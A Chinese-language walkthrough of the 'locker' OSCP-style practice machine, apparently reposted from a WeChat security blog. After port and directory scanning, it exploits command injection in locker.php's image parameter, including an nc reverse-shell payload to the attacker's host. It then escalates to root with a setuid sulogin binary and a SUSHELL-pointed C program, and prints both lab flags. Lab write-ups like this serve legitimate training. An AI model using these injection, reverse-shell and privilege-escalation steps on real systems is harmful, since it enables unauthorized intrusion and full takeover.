【OSCP】locker

OSCP 靶场

靶场介绍

信息收集

主机发现

端口扫描

┌──(root㉿kali)-[~]
└─# nmap -sV -A -p- -T4 192.168.1.140
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-20 20:37 EST
Nmap scan report for 192.168.1.140
Host is up (0.00062s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:AE:BC:25 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.62 ms 192.168.1.140

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.63 seconds

目录扫描

┌──(root㉿kali)-[~]
└─# gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt      -u http://192.168.1.140 -x html,php,txt -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.140
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.1.140/index.html           (Status: 200) [Size: 142]
http://192.168.1.140/locker.php           (Status: 200) [Size: 58]
Progress: 882240 / 882244 (100.00%)
===============================================================                                                                             
Finished                                                                                                                                   

image 1,2,3 都是锁头

权限获取

通过测试发现存在命令执行漏洞，前后使用；可拼接命令可执行命令

curl http://192.168.1.140/locker.php?image=1;id;
http get http://192.168.1.140/locker.php?image=;pwd;

http://192.168.1.140/locker.php?image=1;nc+192.168.1.129+8989+-c+/bin/bash;

可以看到源代码里面，通过传入的参数拼接1.jpg,然后进行base64编码，还经过shell_exec 函数，最后print输出

权限提升

find / -perm -u=s -type f 2>/dev/null 可以发现 /usr/sbin/sulogin 可能存在利用点

 find / -perm -u=s -type f 2>/dev/null

sulogin命令参数详情：https://www.linux.org/docs/man8/sulogin.html

sulogin 查找环境变量 SUSHELL 或 sushell 来确定启动哪个 shell。如果未设置环境变量，它将尝试从 /etc/passwd 执行 root 的 shell。如果失败，它将回退到 /bin/sh 。

接下来，我们创建一个c程序将uid和gid设置为0并使用系统执行/bin/bash

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
    setgid(0);
    setuid(0);
    system("/bin/bash");
    return 0;
}

gcc -o exp exp.c 

编译好之后，上传到靶机，然后设置环境变量

chmod +x exp
export SUSHELL=/tmp/exp
echo $SUSHELL
(remote) www-data@locker:/tmp$ sulogin -e
Press Enter for maintenance
(or press Control-D to continue): 
root@locker:~# whoami
root

root@locker:/home/tolocker# cat user.txt 
flaglockeryes

root@locker:~# cat root.txt 
igotroothere

原文始发于微信公众号（贝雷帽SEC）：【OSCP】locker